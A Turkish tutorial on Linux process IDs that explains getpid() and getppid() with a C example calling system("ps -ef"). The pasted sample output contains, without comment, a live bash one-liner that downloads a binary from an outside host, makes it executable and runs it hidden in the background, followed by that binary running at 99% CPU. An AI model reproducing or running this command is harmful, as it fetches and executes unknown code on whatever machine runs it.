İşlem bilgisi

İşlem bilgilerine girmeden önce, aşağıdakiler gibi birkaç şeyi bilmemiz gerekir:

Süreç nedir? Süreç, yürütülmekte olan bir programdır.

Program nedir? Program, bir işlemin bilgilerini ve çalışma süresi boyunca nasıl oluşturulacağını içeren bir dosyadır. Programı çalıştırmaya başladığınızda, RAM'e yüklenir ve çalışmaya başlar.

Her süreç, süreç kimliği veya basitçe PID (İşlem Kimlik numarası) olarak adlandırılan benzersiz bir pozitif tamsayı ile tanımlanır. Çekirdek genellikle işlem kimliğini yapılandırılabilir olan 32767 ile sınırlar. İşlem kimliği bu limite ulaştığında, sistem işlem aralığından sonra tekrar sıfırlanır. Bu sayaçtan kullanılmayan işlem kimlikleri daha sonra yeni oluşturulan işlemlere atanır.

Sistem çağrısı getpid (), çağıran işlemin işlem kimliğini döndürür.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Bu çağrı, benzersiz olduğu garanti edilen çağrı işleminin işlem kimliğini döndürür. Bu çağrı her zaman başarılıdır ve bu nedenle bir hatayı gösterecek dönüş değeri yoktur.

Her işlemin, işlem kimliği adı verilen benzersiz kimliği vardır, ancak bunu kim oluşturdu? Yaratıcısı hakkında nasıl bilgi alınır? Yaratıcı süreci, ana süreç olarak adlandırılır. Ana kimlik veya PPID getppid () çağrısı yoluyla elde edilebilir.

Sistem çağrısı getppid () çağıran işlemin Ana PID'sini döndürür.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Bu çağrı, çağıran işlemin üst süreç kimliğini döndürür. Bu çağrı her zaman başarılıdır ve bu nedenle bir hatayı gösterecek dönüş değeri yoktur.

Bunu basit bir örnekle anlayalım.

Aşağıda, çağıran işlemin PID ve PPID'sini bilmek için bir program verilmiştir.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Yukarıdaki programın derlenmesi ve çalıştırılması üzerine, aşağıdaki çıktı olacaktır.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- "C" kitaplık işlevi sistemi () bir kabuk komutu yürütür. System () 'e iletilen argümanlar kabukta çalıştırılan komutlardır. Yukarıdaki programda, işlem durumunu veren komut "ps" dir.

Çalışan tüm süreçler hakkındaki eksiksiz bilgilere ve sistemle ilgili diğer bilgilere / proc konumunda bulunan proc dosya sisteminden erişilebilir.